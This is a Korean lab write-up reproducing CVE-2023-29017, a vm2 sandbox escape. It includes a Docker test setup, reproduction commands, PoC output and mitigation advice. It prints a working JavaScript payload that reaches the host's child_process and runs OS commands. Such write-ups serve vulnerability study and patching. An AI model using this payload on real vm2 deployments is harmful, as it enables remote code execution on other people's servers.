Share
## https://sploitus.com/exploit?id=D910CF67-6452-5314-B071-29CF3693F122
# CVE-2023-29017 | vm2 Sandbox Escape๋ฅผ ํ†ตํ•œ ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰

> [WHS 4๊ธฐ 31๋ฐ˜] - ๊น€๊ฑด์šฐ(@gunwoo105)

## ์ทจ์•ฝ์  ์š”์•ฝ

vm2๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” JavaScript๋ฅผ ์ œํ•œ๋œ ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•œ Node.js ์ƒŒ๋“œ๋ฐ•์Šค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ž…๋‹ˆ๋‹ค. ์ •์ƒ์ ์ธ ๊ฒฝ์šฐ ์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด๋ถ€์˜ ์ฝ”๋“œ๋Š” Node.js์˜ `process, require, child_process` ๋ฐ ํ˜ธ์ŠคํŠธ ํŒŒ์ผ์‹œ์Šคํ…œ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ vm2 3.9.14 ์ดํ•˜์—์„œ๋Š” ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ๋น„๋™๊ธฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•  ๋•Œ Error.prepareStackTrace๋กœ ์ „๋‹ฌ๋˜๋Š” ํ˜ธ์ŠคํŠธ ๊ฐ์ฒด๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด ๊ฐ์ฒด์˜ ์ƒ์„ฑ์ž ์ฒด์ธ์„ ์•…์šฉํ•˜์—ฌ ํ˜ธ์ŠคํŠธ ์ปจํ…์ŠคํŠธ์˜ Function ์ƒ์„ฑ์ž์™€ `process` ๊ฐ์ฒด๋ฅผ ํš๋“ํ•˜๊ณ , ์ตœ์ข…์ ์œผ๋กœ `child_process`๋ฅผ ํ†ตํ•ด ์šด์˜์ฒด์ œ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

## ํ™˜๊ฒฝ ๊ตฌ์„ฑ

### ๊ตฌ์„ฑ ์š”์†Œ

| ๊ตฌ์„ฑ ์š”์†Œ | ๋ฒ„์ „ ๋ฐ ์„ค์ • |
| --- | --- |
| Node.js | `18.15.0` |
| vm2 | `3.9.14` |
| ํŒจ์น˜ ๋ฒ„์ „ | `3.9.15` |
| ์‹คํ–‰ ํ™˜๊ฒฝ | Docker Compose |
| ์ปจํ…Œ์ด๋„ˆ ์‚ฌ์šฉ์ž | `node` |
| ์„œ๋น„์Šค ํฌํŠธ | `127.0.0.1:3000` |
| ํŒจํ‚ค์ง€ ์„ค์น˜ | `npm ci` + `package-lock.json` |

์ทจ์•ฝํ•œ ์™„์ œํ’ˆ ์ด๋ฏธ์ง€๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ , ๊ณต์‹ Node.js ๋ฒ ์ด์Šค ์ด๋ฏธ์ง€์™€ ์ €์žฅ์†Œ์— ํฌํ•จ๋œ ์†Œ์Šค ์ฝ”๋“œ๋กœ ์ด๋ฏธ์ง€๋ฅผ ์ง์ ‘ ๋นŒ๋“œํ•ฉ๋‹ˆ๋‹ค. Dockerfile์—์„œ๋Š” Node.js์™€ vm2 ๋ฒ„์ „์„ ๊ฒ€์‚ฌํ•˜๋ฉฐ, ๋ฒ„์ „์ด ์˜ˆ์ƒ๊ณผ ๋‹ค๋ฅด๋ฉด ๋นŒ๋“œ๊ฐ€ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค.

```docker
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
```

| ํŒŒ์ผ | ์—ญํ•  |
| --- | --- |
| `docker-compose.yml` | ์ทจ์•ฝ ์„œ๋น„์Šค์™€ PoC ์ปจํ…Œ์ด๋„ˆ ๊ตฌ์„ฑ ๋ฐ ์‹คํ–‰ ์ˆœ์„œ ์ •์˜ |
| `Dockerfile` | ์ทจ์•ฝ ์„œ๋น„์Šค์™€ PoC ์ด๋ฏธ์ง€๋ฅผ multi-stage ๋ฐฉ์‹์œผ๋กœ ๋นŒ๋“œ |
| `vulnerable/src/server.js` | `/health`, `/execute`, `/evidence` ์—”๋“œํฌ์ธํŠธ ์ œ๊ณต |
| `vulnerable/src/worker.js` | ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ณ„๋„ ํ”„๋กœ์„ธ์Šค์˜ vm2์—์„œ ์‹คํ–‰ |
| `poc/poc.js` | ๋ฒ„์ „ ํ™•์ธ, ์ •์ƒ ๋Œ€์กฐ๊ตฐ, ๊ณต๊ฒฉ ๋ฐ ์ฆ๊ฑฐ ํ™•์ธ ์ž๋™ํ™” |
| `vulnerable/package-lock.json` | ์ „์ด ์˜์กด์„ฑ์„ ํฌํ•จํ•œ ํŒจํ‚ค์ง€ ๋ฒ„์ „ ๊ณ ์ • |

`worker.js`๋ฅผ ๋ณ„๋„ ํ”„๋กœ์„ธ์Šค๋กœ ์‹คํ–‰ํ•˜๋Š” ์ด์œ ๋Š” PoC๊ฐ€ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ๋น„๋™๊ธฐ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ ๊ณผ์ •์—์„œ worker๊ฐ€ ์ข…๋ฃŒ๋˜๋”๋ผ๋„ ์›น ์„œ๋ฒ„๋Š” ๊ณ„์† ์‹คํ–‰๋˜๋ฉฐ, marker ํŒŒ์ผ๋กœ ์„ฑ๊ณต ์—ฌ๋ถ€๋ฅผ ์•ˆ์ •์ ์œผ๋กœ ๊ฒ€์ฆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

## ์ทจ์•ฝ ์กฐ๊ฑด

๋‹ค์Œ ์กฐ๊ฑด์ด ๋ชจ๋‘ ์ถฉ์กฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

1. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด `vm2 3.9.14` ์ดํ•˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
2. ๊ณต๊ฒฉ์ž๊ฐ€ ์‹คํ–‰ํ•  JavaScript ์ž…๋ ฅ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
3. ํ•ด๋‹น JavaScript๊ฐ€ vm2 ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
4. ๋น„๋™๊ธฐ JavaScript ์‹คํ–‰์ด ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค.
5. ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ๋น„๋™๊ธฐ ์˜ค๋ฅ˜๊ฐ€ ์ทจ์•ฝํ•œ stack trace ์ฒ˜๋ฆฌ ๊ฒฝ๋กœ์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
6. vm2๋ฅผ ์‹คํ–‰ํ•˜๋Š” Node.js ํ”„๋กœ์„ธ์Šค์— ์šด์˜์ฒด์ œ ๋ช…๋ น ์‹คํ–‰ ๋˜๋Š” ํŒŒ์ผ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

vm2๋ฅผ ์„ค์น˜ํ•œ ๋ชจ๋“  ์„œ๋น„์Šค๊ฐ€ ์ž๋™์œผ๋กœ ์›๊ฒฉ ๊ณต๊ฒฉ์— ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ์€ ์•„๋‹™๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•œ ์ฝ”๋“œ๋ฅผ vm2์—์„œ ์‹คํ–‰ํ•˜๋Š” ๊ธฐ๋Šฅ์ด ์กด์žฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์‹ค์Šต์˜ `/execute` ์—”๋“œํฌ์ธํŠธ๋Š” ํ•ด๋‹น ์‚ฌ์šฉ ์‚ฌ๋ก€๋ฅผ ์ตœ์†Œํ•œ์œผ๋กœ ๊ตฌํ˜„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๊ณต๊ฒฉ ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

```
์•…์„ฑ JavaScript ์ „๋‹ฌ
        โ”‚
        โ–ผ
์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ๋น„๋™๊ธฐ ์˜ค๋ฅ˜ ๋ฐœ์ƒ
        โ”‚
        โ–ผ
Error.prepareStackTrace ํ˜ธ์ถœ
        โ”‚
        โ–ผ
ํ˜ธ์ŠคํŠธ frames ๊ฐ์ฒด ๋…ธ์ถœ
        โ”‚
        โ–ผ
ํ˜ธ์ŠคํŠธ Function ์ƒ์„ฑ์ž ํš๋“
        โ”‚
        โ–ผ
process โ†’ require โ†’ child_process
        โ”‚
        โ–ผ
์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€ OS ๋ช…๋ น ์‹คํ–‰
```

## ์žฌํ˜„ ์ ˆ์ฐจ

### ์ด๋ฏธ์ง€ ๋นŒ๋“œ

```bash
docker compose build --no-cache
```

![์ด๋ฏธ์ง€ ๋นŒ๋“œ ์„ฑ๊ณต](./screenshots/01-vuild-success.png)

### ์ทจ์•ฝ ์„œ๋น„์Šค ์‹คํ–‰

```bash
docker compose up -d vulnerable
```

์ปจํ…Œ์ด๋„ˆ ์ƒํƒœ๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

```bash
docker compose ps
```

### ์„œ๋น„์Šค ์ƒํƒœ ๋ฐ ๋ฒ„์ „ ํ™•์ธ

```bash
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  
```

![์„œ๋น„์Šค ์ƒํƒœ ๋ฐ ๋ฒ„์ „ ํ™•์ธ](./screenshots/02-health-version-check.png)

### PoC ์‹คํ–‰

```bash
docker compose run --rm poc
echo "exit_code=$?"
```

PoC๋Š” ๋‹ค์Œ ํ•ญ๋ชฉ์„ ์ž๋™์œผ๋กœ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

1. ์ทจ์•ฝ ์„œ๋น„์Šค์˜ healthcheck
2. Node.js์™€ vm2 ๋ฒ„์ „
3. ์ •์ƒ JavaScript 21 * 2 ์‹คํ–‰
4. ์ •์ƒ ์ฝ”๋“œ์—์„œ๋Š” marker ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜์ง€ ์•Š๋Š”์ง€ ํ™•์ธ
5. CVE-2023-29017 payload ์ „๋‹ฌ
6. `/tmp/vm2-pwned` ์ƒ์„ฑ ์—ฌ๋ถ€ ํ™•์ธ
7. ํŒŒ์ผ ๋‚ด์šฉ์— `uid=`๊ฐ€ ํฌํ•จ๋˜๋Š”์ง€ ํ™•์ธ
8. ์„ฑ๊ณต ์‹œ ์ข…๋ฃŒ ์ฝ”๋“œ 0, ์‹คํŒจ ์‹œ ์ข…๋ฃŒ ์ฝ”๋“œ 1 ๋ฐ˜ํ™˜

๋นŒ๋“œ๋ถ€ํ„ฐ PoC๊นŒ์ง€ ํ•œ ๋ฒˆ์— ์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

```bash
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc
```

### ์ฆ๊ฑฐ ํŒŒ์ผ ํ™•์ธ

```bash
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'
```

### ํ™˜๊ฒฝ ์ข…๋ฃŒ

```bash
docker compose down -v --rmi local --remove-orphans
```

## 5. PoC ์ฝ”๋“œ

์ „์ฒด PoC๋Š” `poc/poc.js`์— ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ต์‹ฌ payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

```jsx
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();
```

### ์ฝ”๋“œ ๋™์ž‘

#### `Error.prepareStackTrace` ์žฌ์ •์˜

```jsx
Error.prepareStackTrace = (error, frames) => {
```

์˜ค๋ฅ˜ stack trace๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ์‹คํ–‰๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์žฌ์ •์˜ํ•ฉ๋‹ˆ๋‹ค.

#### ํ˜ธ์ŠคํŠธ `Function` ์ƒ์„ฑ์ž ํš๋“

```jsx
frames.constructor.constructor
```

์ทจ์•ฝํ•œ vm2๊ฐ€ ๋…ธ์ถœํ•œ ํ˜ธ์ŠคํŠธ `frames` ๊ฐ์ฒด์˜ ์ƒ์„ฑ์ž ์ฒด์ธ์„ ๋”ฐ๋ผ๊ฐ€ ํ˜ธ์ŠคํŠธ ์ปจํ…์ŠคํŠธ์˜ `Function` ์ƒ์„ฑ์ž์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค.

#### ํ˜ธ์ŠคํŠธ `process` ๊ฐ์ฒด ํš๋“

```jsx
frames.constructor.constructor('return process')();
```

ํ˜ธ์ŠคํŠธ ์ปจํ…์ŠคํŠธ์—์„œ `process`๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

#### ์šด์˜์ฒด์ œ ๋ช…๋ น ์‹คํ–‰

```jsx
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');
```

์ƒŒ๋“œ๋ฐ•์Šค ๋‚ด๋ถ€์—๋Š” ์ œ๊ณต๋˜์ง€ ์•Š์€ `child_process`๋ฅผ ๋ถˆ๋Ÿฌ์™€ Linux `id` ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

#### ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ๋น„๋™๊ธฐ ์˜ค๋ฅ˜ ์œ ๋„

```jsx
(async () => {}).constructor('return process')();
```

์ƒŒ๋“œ๋ฐ•์Šค์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” `process`๋ฅผ ๋น„๋™๊ธฐ ํ•จ์ˆ˜๊ฐ€ ์ฐธ์กฐํ•˜๋„๋ก ํ•˜์—ฌ rejected Promise๋ฅผ ๋งŒ๋“ค๊ณ , ์ทจ์•ฝํ•œ stack trace ์ฒ˜๋ฆฌ ๊ฒฝ๋กœ์— ๋„๋‹ฌ์‹œํ‚ต๋‹ˆ๋‹ค.

## ์‹คํ–‰ ๊ฒฐ๊ณผ

### ์ •์ƒ ๋Œ€์กฐ๊ตฐ

์ •์ƒ JavaScript๋Š” vm2 ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜์–ด 42๋ฅผ ๋ฐ˜ํ™˜ํ•˜์ง€๋งŒ, ์šด์˜์ฒด์ œ ๋ช…๋ น ์‹คํ–‰ ์ฆ๊ฑฐ๋Š” ์ƒ์„ฑํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

```
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution
```

### ์ทจ์•ฝ์  ์•…์šฉ

์•…์„ฑ payload๋ฅผ ์ „๋‹ฌํ•˜๋ฉด vm2 ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ํƒˆ์ถœํ•˜๊ณ , ์ทจ์•ฝํ•œ Node.js ํ”„๋กœ์„ธ์Šค ๊ถŒํ•œ์œผ๋กœ ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์—์„œ `id` ๋ช…๋ น์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

```
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
```

PoC๋Š” ์ €์žฅ๋œ ์ฆ๊ฑฐ๋ฅผ ๋‹ค์‹œ ํ™•์ธํ•œ ๋’ค ์„ฑ๊ณต ์ƒํƒœ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

```
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0
```

![PoC ์‹คํ–‰ ์„ฑ๊ณต](./screenshots/03-poc-success.png)

์ฆ๊ฑฐ ํŒŒ์ผ์„ ์ง์ ‘ ํ™•์ธํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ์ถœ๋ ฅ๋ฉ๋‹ˆ๋‹ค.

![Marker ์ฆ๊ฑฐ ํ™•์ธ](./screenshots/04-marker-evidence.png)

marker ํŒŒ์ผ์€ ๊ฐ ์‹คํ–‰ ์ „์— ์‚ญ์ œ๋˜๋ฉฐ, ์ •์ƒ ์ฝ”๋“œ ์‹คํ–‰ ๋‹จ๊ณ„์—์„œ๋Š” ์ƒ์„ฑ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด์ „ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ๋‚จ์•„ ๋ฐœ์ƒํ•˜๋Š” ์˜คํƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

## ๋Œ€์‘ ๋ฐฉ์•ˆ

### vm2 ์—…๋ฐ์ดํŠธ

์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š๋Š” ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•ฉ๋‹ˆ๋‹ค.

```json
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}
```

๊ทธ ํ›„ lockfile์„ ๊ฐฑ์‹ ํ•˜๊ณ  ๊ณ ์ •๋œ ์˜์กด์„ฑ์œผ๋กœ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค.

```bash
npm install --package-lock-only
npm ci
```

๊ณต์‹ Advisory๋Š” ๋ณ„๋„์˜ workaround๊ฐ€ ์—†๋‹ค๊ณ  ์„ค๋ช…ํ•˜๋ฏ€๋กœ, ์ทจ์•ฝ ๋ฒ„์ „์„ ๊ณ„์† ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๊ถŒ์žฅ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

### ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ์˜ ์‹คํ–‰ ํ™˜๊ฒฝ ๋ถ„๋ฆฌ

์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ฝ”๋“œ๋ฅผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ๋™์ผํ•œ Node.js ํ”„๋กœ์„ธ์Šค์—์„œ ์‹คํ–‰ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ณ„๋„์˜ ํ”„๋กœ์„ธ์Šค, ์ปจํ…Œ์ด๋„ˆ ๋˜๋Š” ๊ฐ€์ƒ๋จธ์‹ ์œผ๋กœ ๊ฒฉ๋ฆฌํ•˜๊ณ  ์‹คํ–‰์ด ๋๋‚˜๋ฉด ํ™˜๊ฒฝ์„ ํ๊ธฐํ•ฉ๋‹ˆ๋‹ค.

### ์ตœ์†Œ ๊ถŒํ•œ ์ ์šฉ

- root๊ฐ€ ์•„๋‹Œ ์ „์šฉ ์‚ฌ์šฉ์ž๋กœ ์‹คํ–‰
- `no-new-privileges` ์ ์šฉ
- ๋ถˆํ•„์š”ํ•œ Linux capability ์ œ๊ฑฐ
- Docker socket๊ณผ ํ˜ธ์ŠคํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋งˆ์šดํŠธ ๊ธˆ์ง€
- ํŒŒ์ผ์‹œ์Šคํ…œ ์ฝ๊ธฐ ์ „์šฉ ์„ค์ • ๊ฒ€ํ† 
- ์ปจํ…Œ์ด๋„ˆ ๋‚ด๋ถ€์— ์žฅ๊ธฐ ์ž๊ฒฉ ์ฆ๋ช… ์ €์žฅ ๊ธˆ์ง€

### ๋„คํŠธ์›Œํฌ ๋ฐ ์ž์› ์ œํ•œ

- ์‹คํ–‰ ์ปจํ…Œ์ด๋„ˆ์˜ ์™ธ๋ถ€ ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ ์ œํ•œ
- ๋‚ด๋ถ€ ๊ด€๋ฆฌ๋ง ๋ฐ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ ‘๊ทผ ์ตœ์†Œํ™”
- CPU, ๋ฉ”๋ชจ๋ฆฌ, ํ”„๋กœ์„ธ์Šค ์ˆ˜์™€ ์‹คํ–‰ ์‹œ๊ฐ„ ์ œํ•œ
- ์ž…๋ ฅ ํฌ๊ธฐ์™€ ์š”์ฒญ ๋นˆ๋„ ์ œํ•œ
- ๋น„์ •์ƒ ์ข…๋ฃŒ์™€ ๋ฐ˜๋ณต์ ์ธ ์•…์„ฑ ์ž…๋ ฅ ๋ชจ๋‹ˆํ„ฐ๋ง

### ์ธ์ฆ ๋ฐ ์ž…๋ ฅ ํ†ต์ œ

์ฝ”๋“œ ์‹คํ–‰ ๊ธฐ๋Šฅ์—๋Š” ๊ฐ•ํ•œ ์ธ์ฆ๊ณผ ์ธ๊ฐ€๋ฅผ ์ ์šฉํ•˜๊ณ , ๋ถˆํŠน์ • ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ณต๊ฐœ๋œ ์ž„์˜ ์ฝ”๋“œ ์‹คํ–‰ API๋ฅผ ์šด์˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ธ์ฆ์€ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์ค„์ด๋Š” ๋ณด์กฐ ์กฐ์น˜์ด๋ฉฐ, ์ทจ์•ฝ์  ์ž์ฒด๋ฅผ ์ˆ˜์ •ํ•˜๋Š” ๋Œ€์ฒด ์ˆ˜๋‹จ์€ ์•„๋‹™๋‹ˆ๋‹ค.